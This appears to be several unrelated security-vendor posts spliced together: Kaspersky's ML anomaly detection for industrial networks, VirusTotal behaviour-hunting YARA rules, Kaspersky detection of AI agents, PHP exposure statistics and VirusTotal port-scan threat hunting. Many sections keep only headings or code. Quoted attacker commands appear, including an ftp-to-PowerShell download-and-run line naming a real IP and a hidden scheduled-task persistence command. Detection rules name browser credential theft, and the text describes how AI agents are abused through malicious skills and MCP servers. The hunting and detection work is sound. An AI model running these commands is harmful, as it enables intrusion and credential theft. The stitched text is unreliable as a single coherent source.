In an industrial network, malicious activity can be hard to tell apart from normal data exchange between devices. Malicious actors routinely rely on legitimate tools and the Living-off-the-Land technique, so a single network connection may show no known signs of an attack: the device uses a familiar protocol and transmits ordinary data. An anomaly can hide in subtle details: the data source, the time of access, or the volume of transferred data may be atypical for a particular device. However, to detect this kind of anomaly, you need to understand the roles of the devices at both ends of the connection and know which network activity patterns are typical for them.

But an organization’s asset inventory data is often incomplete, which makes it harder to catch unauthorized connections in time. Suppose monitoring detects a host that regularly exchanges data with programmable logic controllers (PLCs). Its IP address is known, but the inventory does not specify what role it plays: is it an engineering workstation, a process data server, or a piece of contractor’s equipment? The host may also have been on the industrial network for a long time, with its record going out of date after a network upgrade.

In the joint OT asset inventory guidance released by CISA and its partners in 2025, inventorying devices and classifying them by role are treated as part of OT asset management. For organizations, this is one of the most important areas: according to the SANS 2025 ICS security survey, 50% of respondents had deployed or significantly expanded ICS inventory and visibility tools over the previous 12 months, and 54% named them as investment priorities for the next 12–24 months.

Device inventory in Kaspersky Industrial CyberSecurity for Networks

In Kaspersky Industrial CyberSecurity for Networks, the Asset Discovery technology is the foundation of asset visibility. Passive network traffic analysis detects devices and their interactions, while recognition rules help determine the device category and extract available information about it, such as the vendor, model, or software version. Exactly which attributes the system can obtain depends on the protocol and the traffic it observes. We covered this in more detail at the Kaspersky Industrial Cybersecurity Conference.

Hardware and software information in the device card

The product also supports active polling modules (APMs): where polling is allowed, they can request additional configuration and firmware version details from devices. This kind of inventory is far more detailed than a list of IP addresses.

Installed modules and their placement in a PLC rack

However, even accurate hardware information doesn’t always explain what function a host performs in a specific industrial facility. Gaps appear for various reasons. Some devices send identifying information only at startup or during configuration, while others rarely communicate. Proprietary protocols can’t always be parsed, and encryption may leave only connection metadata for analysis. If the monitoring system doesn’t receive traffic from every segment of the industrial network, some network activity goes unobserved. Active polling doesn’t suit every device or every operating condition.

Devices of unknown category

When there isn’t enough direct information about a device, its category can be refined by looking at the patterns of its recurring network interactions. Analyzing these interactions is the job of Machine Learning Event Processor (MLEP), a service included in Kaspersky Industrial CyberSecurity for Networks 5.0. This machine-learning-based event processor can both refine device categories and detect anomalies in their network behavior.

What data does MLEP analyze?

To compare device behavior, you don’t need to store every packet as a separate observation (a data object) in the ML model. MLEP represents network sessions as a sequence of short 15-second fragments. For each fragment, MLEP stores information about the endpoints (IP, MAC, and port), the direction of data exchange, the protocol, and the number and size of the packets transmitted. Together these make up an event, which then gets a timestamp. Traffic thus becomes a sequence of events showing which hosts a device communicated with, when, and how communication intensity changed.

Aggregating data into events also sets the method’s limits. An aggregated fragment can’t be used to reconstruct the exact order of individual packets or the content of commands. MLEP can draw conclusions about a new protocol only if another KICS technology has managed to recognize it. That said, comparing stable network connections and changes in exchange volume doesn’t require a detailed record of every packet. These observations form the basis of the device’s behavioral history.

From observations to MLEP results

Each object has its own behavioral history, and one object’s history can’t be applied to another. But the principles of behavior analysis, along with some common rules, work across different objects.

Let’s look at how this works in MLEP, which is built on a spiking neural semantic network (NSN).

Event identification

Neurosemantic networks structure information as a multilayer ordered graph, where the data in each consecutive layer builds on the data in the previous one. The nodes of this graph — that is, the units of information in each layer — act as neurons.The NSN creates dedicated channels to handle different event parameters (port, IP, and so on). Unique parameter values for each channel are stored as neurons in layer 0. The event itself, which consists of a set of parameter values, is stored as a neuron in layer 1 of the network. If an event occurs for the first time, neurogenesis creates a new neuron with input connections to the corresponding parameter neurons. This lets the network learn and operate on the event stream at the same time. If the event has occurred before, the network activates the same neuron that was created when the event first appeared. This way, the network identifies each event precisely. Each neuron that corresponds to an event also collects basic statistics: when it was last activated and how many times it has been activated.
 

Event history

In NSN-based event processing, layer 2 and above store sequences of events over time: recurring patterns and the full history. However, categorization and statistical anomaly detection don’t require storing the full packet sequence or a detailed timeline of every network event. As we noted earlier, events are themselves aggregates, which means the order of network packets has already been averaged out. So MLEP keeps history only temporarily, within each episode (30,000 aggregated events by default), which saves computing resources.

Statistics processing in MLEP

MLEP processes statistics mainly through specialized listener neurons on layer −1 (minus one) of the network. Attention heads and monitors are built on these neurons.

Key components of the NSN

When an event arrives, the corresponding neuron is activated, and the network instantly knows whether that neuron is new or was created earlier. Each attention head subscribes to the events or event features it needs and takes in only the activations of the matching neurons. If an event occurs for the first time, all heads are notified and then decide whether to subscribe (grow a connection to the relevant neuron) and receive information about activations of such neurons from then on.

It is called a spiking network because activation information is a spike, not a number. This spike tells the head that something it’s interested in has happened.

An attention head is configured according to scenarios — the situations that MLEP should send alerts about. The core of a head’s configuration is a query, which filters incoming information and serves as the subscription criterion. Unlike regular database queries, this query runs on the stream, so it can react to an event instantly.

Attention heads work very much like the semantics of ordinary human language. A query has a subject of attention (one or more grammatical subjects) and conditions (the other parts of the sentence). In the infrastructure of an industrial enterprise, the subjects are devices on the network, and the conditions are various aspects of network communication, such as ports, protocol, and average packet size. If a head has many subjects (for example, if it’s interested in every device on an industrial network), it fans out: it creates a child head for each individual value of the subject of attention, that is, each device. The child head then watches a specific device and reports to the parent head.

Attention heads don’t accumulate or process statistics. They only filter event streams. When an attention head receives a relevant event, it activates and sends a spike to the monitor subscribed to that head.

Monitors, in turn, have stacks for accumulating and processing events. They can also have their own queries and post-filter information from the head. For example, they can select only new events from those filtered by the head.

There are several types of monitors:

• Stat monitors track changes in the average count of specific events (for example, device activity) over time intervals typical for those events, or in the average values of numeric event parameters (for example, changes in device traffic volume).
• Monitors work from the event alone: they fire when an event has occurred a certain number of times within a given interval, or has occurred for the first time.
• Similar-behavior monitors work with heads that can generalize events, that is, extract just a few parameters whose combination is shared (generalized) across many events.

MLEP uses these monitor types to implement scenarios for categorizing devices and detecting their anomalous behavior:

1. For categorization, MLEP uses attention heads and monitors that identify common behavior across different assets and group devices accordingly. MLEP then takes information from Asset Discovery about the known categories of some assets and extends those categories to other assets in the same group. Because a device can show different types of activity, it may land in several groups. MLEP then makes a weighted assessment across all relevant groups.
   

   Groups of devices with similar network behavior

   At the final stage, the system verifies that assigning the category to the asset is permissible. This is again done by special rule monitors loaded into the NSN at system startup. The rules rely on asset metadata available from Asset Discovery and APMs.

2. MLEP takes a similar approach to anomaly detection: an attention head and a monitor define an anomaly scenario, often loosely. When a monitor activates on such a scenario, MLEP generates an alert about unusual behavior.

The current version of MLEP ships with preconfigured heads and monitors.

The functional dynamic diagram below shows how events from devices on an industrial network are processed.

Event processing flow (click to play)

MLEP in practice: how behavior helps complete the asset inventory

At a facility with several similar production lines, device information may be more complete on some lines than on others. On one line, devices are identified as PLCs, while on another, after an upgrade, some hosts show up only as addresses: the available traffic didn’t provide enough information to determine their category. Still, these devices communicate with the same types of HMIs and process data collection servers. Their communication directions, frequency, and volumes may be similar.

That’s where MLEP comes in. It takes the categories of already known assets and matches recurring features of their network behavior against those of uncategorized devices. When the observed interactions turn out to be similar, MLEP can add a category for that host to the inventory.

Device category suggested by MLEP

Once the category is refined, the industrial network map provides more context about the equipment on the network. When analyzing network activity, the analyst immediately sees the device’s suggested category and can skip looking up each IP address in the design diagrams. This approach is especially useful where equipment changes faster than the documentation is updated.

The suggested category is also checked against existing device information and defined constraints. This helps filter out some contradictory options, but prediction quality still depends on how much of the traffic is visible, especially if the device communicates only rarely.

Anomalous activity and streaming statistics

Investigations of real-world attacks show that attackers actively use both standard tools and permitted protocols. You don’t always need to know an attacker’s specific technique in advance to spot potentially malicious activity. Signature-based detection helps find known signs of an attack, but it doesn’t assess how typical an observed interaction is for a particular device. MLEP compares current activity with the device’s usual network profile: which hosts it communicates with, which protocols it uses, when and how much data it transmits, its average packet size, and so on. The changes it detects help guide the direction of the investigation. Correlating these changes with other events and the operational context helps determine whether malicious actions could be behind them. When investigating an incident that has already been detected, anomalies help reconstruct the sequence of actions.

The first version of MLEP comes with six preconfigured monitors, one for each type of deviation from the device’s usual network profile:

During an investigation, anomalies help reconstruct the sequence of changes: when a specific host established new connections, switched protocols, increased its data transfer volume, or shifted its operating hours. Matching events by device and time shows an analyst how activity unfolded around an incident that has already been detected.

This is especially useful when some of the attacker’s actions fell outside the monitored scope or didn’t trigger other KICS technologies. Correlating these changes with the device’s role, protocol analysis data, and events from other technologies gives the analyst a more complete timeline. Behavioral anomalies show exactly where to look for the missing links and which network interactions need attention.

Atypical Activity Time anomaly card

In the event list, anomalies detected by MLEP are marked with an AI label. Each event shows its name, source, destination, timestamp, and the ID of the triggered scenario.

Conclusion

In an industrial network, whether behavior is anomalous depends on the host where it occurs and that host’s place in the industrial process. The repetitive nature of many communications makes a change in normal data exchange easier to spot, while knowing a device’s function and criticality helps gauge the possible consequences. Taken together, these observations make network traffic more than a list of connections: it helps assess new events in the context of a specific facility, even without an attack scenario known in advance. Machine learning technologies are well suited to this kind of comprehensive analysis, as they can process and organize huge streams of heterogeneous data. Starting with version 5.0, Kaspersky Industrial CyberSecurity for Networks handles this function with MLEP, which works effectively alongside the product’s existing functionality.

What each process entry carries

import "vt"

rule cmd_spawns_schtasks_create {
  condition:
    for any p in vt.behaviour.processes_list : (
      p.name icontains "schtasks" and
      p.name icontains "/create" and
      p.parent_name icontains "cmd.exe"
    )
}

Things to know before you write rules

Case 1: porting a Sigma rule, and what it misses

detection:
    selection_parent:
        ParentImage|endswith: '\mshta.exe'
    selection_child:

        - Image|endswith:
              - '\cmd.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
              - '\wscript.exe'
              - '\cscript.exe'
              - '\sh.exe'
              - '\bash.exe'
              - '\reg.exe'
              - '\regsvr32.exe'
              - '\bitsadmin.exe'
    condition: all of selection*

import "vt"

rule mshta_spawns_shell {
  meta:
    description = "Port of Sigma 03cc0c25 (Suspicious MSHTA Child Process)"
  condition:
    for any p in vt.behaviour.processes_list : (
      p.parent_name icontains "mshta.exe" and
      (
        p.name icontains "cmd.exe" or
        p.name icontains "powershell" or
        p.name icontains "pwsh" or
        p.name icontains "wscript" or
        p.name icontains "cscript" or
        p.name icontains "bash.exe" or
        p.name icontains "reg.exe" or
        p.name icontains "regsvr32" or
        p.name icontains "bitsadmin"
      )
    )
}

import "vt"

rule dcom_mshta_spawns_shell {
  condition:
    for any p in vt.behaviour.processes_list : (
      (p.name icontains "cmd.exe" or p.name icontains "powershell") and
      p.parent_name icontains "mshta.exe" and
      p.ancestor_names[1] icontains "svchost.exe" and
      p.ancestor_names[1] icontains "dcomlaunch"
    )
}

Case 2: a services.exe that is not, and the copies behind it

import "vt"

rule fake_services_wrong_parent {
  condition:
    for any p in vt.behaviour.processes_list : (
      p.name iendswith "\\services.exe" and
      p.parent_name != "" and
      not p.parent_name icontains "wininit.exe"
    )
}

C:\Windows\System32\NlsLexicons0c1a\services.exe
C:\System Volume Information\services.exe
C:\Windows\system\smss.exe
C:\Windows\System32\mfc42\taskeng.exe
C:\Users\Default User\WmiPrvSE.exe
C:\Program Files\Common Files\System\ado\en-US\WmiPrvSE.exe
C:\PerfLogs\Admin\sysmon.exe
C:\Users\<USER>\Downloads\patchregistry\event-stream.exe

import "vt"

rule copy_with_system_name_is_executed {
  condition:
    for any c in vt.behaviour.files_copied : (
      (
        c.destination iendswith "\\services.exe" or
        c.destination iendswith "\\smss.exe" or
        c.destination iendswith "\\lsass.exe" or
        c.destination iendswith "\\csrss.exe" or
        c.destination iendswith "\\svchost.exe" or
        c.destination iendswith "\\wmiprvse.exe" or
        c.destination iendswith "\\taskhostw.exe" or
        c.destination iendswith "\\conhost.exe"
      ) and
      for any p in vt.behaviour.processes_list : (
        p.name icontains c.destination and
        p.parent_name != ""
      )
    )
}

Case 3: headless consoles, renamed or not

import "vt"

rule headless_console_runs_powershell {
  condition:
    for any p in vt.behaviour.processes_list : (
      (p.name icontains "powershell" or p.name icontains "pwsh") and
      p.parent_name icontains "--headless"
    )
}

Case 4: persistence that actually ran

import "vt"

rule task_scheduler_runs_dropped_file {
  condition:
    for any run in vt.behaviour.processes_list : (
      (
        run.parent_name icontains "-s schedule" or
        run.parent_name icontains "taskeng.exe"
      ) and
      for any dropper in vt.behaviour.processes_list : (
        for any f in dropper.files_written : (
          (f iendswith ".exe" or f iendswith ".dll" or f iendswith ".vbs" or
           f iendswith ".js" or f iendswith ".ps1" or f iendswith ".bat" or
           f iendswith ".cmd") and
          run.name icontains f
        )
      )
    )
}

schtasks.exe /create /sc minute /mo 1 /tn "AdobeSecurityManager" /tr "C:\Users\<USER>\AppData\Roaming\MicrosoftWorker_e08ec640d\rhpmx63snl.exe --headless powershell.exe -w h -ep bypass -c & '...\xd24mgasgb4.exe'"

Case 5: .NET binaries reading browser credentials

import "vt"

rule dotnet_lolbin_touches_browser_logins {
  condition:
    for any p in vt.behaviour.processes_list : (
      (
        p.name icontains "aspnet_compiler.exe" or
        p.name icontains "regasm.exe" or
        p.name icontains "regsvcs.exe" or
        p.name icontains "msbuild.exe" or
        p.name icontains "installutil.exe" or
        p.name icontains "addinprocess"
      ) and
      for any a in p.ancestor_names : (
        a icontains "powershell" or
        a icontains "wscript" or
        a icontains "cscript" or
        a icontains "mshta"
      ) and
      for any f in p.files_written : (
        f icontains "\\User Data\\" and
        (f icontains "\\Login Data" or f icontains "\\Web Data" or f icontains "\\Cookies")
      )
    )
}

Testing the rules

Wrapping up

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

KL categories available when configuring Application Control

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

KES notification about an attempt to launch an AI agent

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

AI Tools KL category

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

KES notification about an attempt to access a prohibited web resource

When configuring access, the administrator can block websites that provide AI as a service.

Website categories

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

ai_agent_opencode_access_to_sensitive_file_win Tap to previewTap to hide

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

ai_agent_dangerous_execution_mode Tap to previewTap to hide

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

suspicious_mcp_server_artifact Tap to previewTap to hide

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

llm_api_access_by_unusual_apps Tap to previewTap to hide

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

local_ai_model_artifact Tap to previewTap to hide

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

AI agent profiles on Kaspersky TIP

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

Claude profile on Kaspersky TIP

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Detection section in the Claude profile

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

Rules in the Hunt Hub repository

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Detection rule card in Hunt Hub

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Detection of a malicious agent skill in Kaspersky Scan Engine

Detection of an LLM with malicious code in Kaspersky Scan Engine

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Most PHP servers don't say they are PHP

The version picture: the long tail of end-of-life PHP

• ~272K run a supported branch (8.2 to 8.5), the only branches that receive security fixes from the PHP project.
• ~758K run an end-of-life branch between 5.4 and 8.1. These branches have session.upload_progress enabled by default and no longer receive security fixes. PHP 7.4 alone accounts for ~187K IPs and PHP 5.4 for ~119K.
• ~88K run PHP 5.2 or 5.3, which predate session.upload_progress.

What runs on top, and where

Going beyond the web port

entity:ip port_service_cpe:php port_banner:"PHP/8.2.34" port_service_version[22]:"9.6p1 Ubuntu"

Adversaries run PHP too

What the VirusTotal corpus saw

What to do now

1. Patch. Upgrade to the fixed release of your branch (8.2, 8.3, 8.4 or 8.5) as soon as it is available on php.net or through your distribution.
2. Plan the EOL migration. PHP 8.1 and older no longer receive security fixes. If you are on 5.4 to 8.1, upgrade the branch or check whether your distribution or vendor ships a backport.
3. Disable upload progress until you patch. Set session.upload_progress.enabled = Off in php.ini (or the pool configuration) and reload PHP-FPM, Apache or LSAPI. It only breaks upload progress bars that rely on the feature. Community analysis suggests it may not cover every vector, so treat it as a stopgap, not a fix.
4. Filter multipart at the edge. Where an application doesn't need file uploads, block or inspect multipart/form-data requests before they reach PHP. Cloudflare shipped emergency rules to its Managed and Free rulesets on October 21, and its CTO stated that they cover known payloads, while stressing that only updating PHP fully protects a site.
5. Make sure the WAF can't be bypassed. Edge rules only help if the origin is not directly reachable. Search your own ranges in VirusTotal (for example, entity:ip port_service_cpe:php asn:<your ASN>) to find origins that expose PHP directly to the Internet.
6. Don't rely on hiding the version. expose_php = Off hides the header, not the vulnerability.

Queries used in this post

References

• PHP, Upcoming Critical PHP Security Release (October 20, 2026)
• PHP, Supported Versions and Unsupported Branches
• PHP, Downloads and PHP 8 ChangeLog
• PHP Manual, Session Upload Progress
• PHP Manual, Session runtime configuration (session.upload_progress.enabled)
• PHP Manual, Core configuration (expose_php)
• Cloudflare, WAF changelog: emergency releases of October 21, 2026
• Dane Knecht (Cloudflare CTO), statement on protections for known exploit payloads
• HD Moore, mitigation note on session.upload_progress.enabled = Off
• VirusTotal, Internet Scanning in VirusTotal: hunting infrastructure by what it exposes

What we store for every port

Searching the scanning data

entity:ip port_service_product[80]:nginx port_service_version[80]:1.24.0

entity:ip os_type[445]:Windows

entity:ip port_banner[21]:mikrotik

entity:ip port_service_cpe[22]:"cpe:/o:linux:linux_kernel"

A word about noise

Pivoting on an SSH host key: a real example

entity:ip fingerprint:"SHA256:SbF6+nFx6ngfUw2L+jsqN6uu5tdsFc5jUW849WA/Sxw"

entity:ip ssl_subject:"b4ck.my"

entity:ip ssl_subject:"b4ck.my" port_service_version[22]:"9.6p1 Ubuntu 3ubuntu13.19"

From a URL hunt to a host profile: unmasking a NOX Stealer panel on port 8443

entity:url tag:ns-port tag:password-input tag:ip

entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348 open_port:445 open_port:3389

Catching a live rebrand: NOX becomes BOMBAY

• The static HTTP response went dark, but the rendered DOM caught the new title. In the initial scan, the server returned the full 11,408-byte HTML login page directly, indexing title:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only <meta name="robots" content="noindex">, leaving the static title attribute empty. Full-browser execution, however, rendered the page and captured the new <title> in the DOM: BOMBAY STEALER - Login (with og:title and og:site_name updated to BOMBAY STEALER).
• New marketing pitch, same codebase. The updated <meta name="description"> in the rendered DOM now advertises "currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers"—even though the visible subtitle on the login card still reads "Lightweight, C++-native infostealer with automated worm propagation" word for word. Under the hood, the Tailwind CSS theme (#a855f7 / #030308), the panel_jwt session logic, and the MD5-prefixed routes (rotated from /29f69693228c27033209532b5a6a97d1/... to /3a85f1d2131fa2723ac6ade171eafacd/dashboard and /register) are identical.
• The host fingerprint didn't blink. By swapping the brand name, rotating the path hash, and hiding behind a 193-byte response, the operator broke static string queries like title:"NOX STEALER". Yet the machine on 5.175.221[.]206 didn't change a single exposed service: nginx 1.24.0 and PHP/8.3.33 on port 8443, Windows Server 2022 (10.0.20348) on port 445, and RDP on port 3389 remain untouched.

Hunting FTP banners used as dead drop resolvers

entity:ip port_banner[21]:"conhost"

start "" conhost.exe --headless cmd /c "ftp 167.148.41.164|powershell"

• The E4del chain, with dates. 157.254.194[.]31 pointing to 167.148.41[.]164 is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port 8000 and a Python SimpleHTTP server on port 8080, so it is worth keeping an eye on.
• First and second hop sit next to each other. 54.37.237[.]164 hands off to .166 and 51.89.199[.]125 to .118, both on OVH, while 185.14.92[.]162 hands off to .223 on the same ASN. Once you find a first stage, its /24 is a cheap next place to look.
• Earlier than reported. 45.87.41[.]133 was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop, 64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported.
• Still live. 54.37.237[.]164 was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.

Using it from the API

# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests

BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}

def ports(ip):
    r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
    r.raise_for_status()
    for p in r.json()["data"]["attributes"].get("port_info", []):
        svc = p.get("latest_analysis", {}).get("port_service", {})
        fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
        print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)

def search(query, limit=40):
    r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
                     params={"query": query, "limit": limit}, timeout=120)
    r.raise_for_status()
    return [d["id"] for d in r.json().get("data", [])]

ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))

What about Livehunt?

Wrapping up

Introduction

In today's fast-moving cybersecurity landscape, threat analysts must move beyond basic, binary reputation scores to successfully defend against modern, highly adaptive web threats. Traditional URL analysis has been redefined by the launch of URL Scanning 2.0, an update that significantly expands VirusTotal's URL analysis capabilities by introducing automated visits with a full browser instance and deeper historical visibility.

Instead of relying on static reputation scores alone, URL Scanning 2.0 enriches reports with "under-the-hood" headless browser telemetry, including the DOM, full-page screenshots, web technologies, and network request logs. Crucially, it introduces historical analysis pivoting, giving analysts the ability to track how a page has changed over time.

URL Scanning 2.0

To successfully defend against modern, highly adaptive web threats, threat analysts must move beyond basic, binary reputation scores. With the debut of URL Scanning 2.0, VirusTotal introduces robust headless browser integration that captures how a page behaves dynamically in a clean sandbox environment.

Every scan now generates rich, granular telemetry that provides a blueprint of the target page's execution:

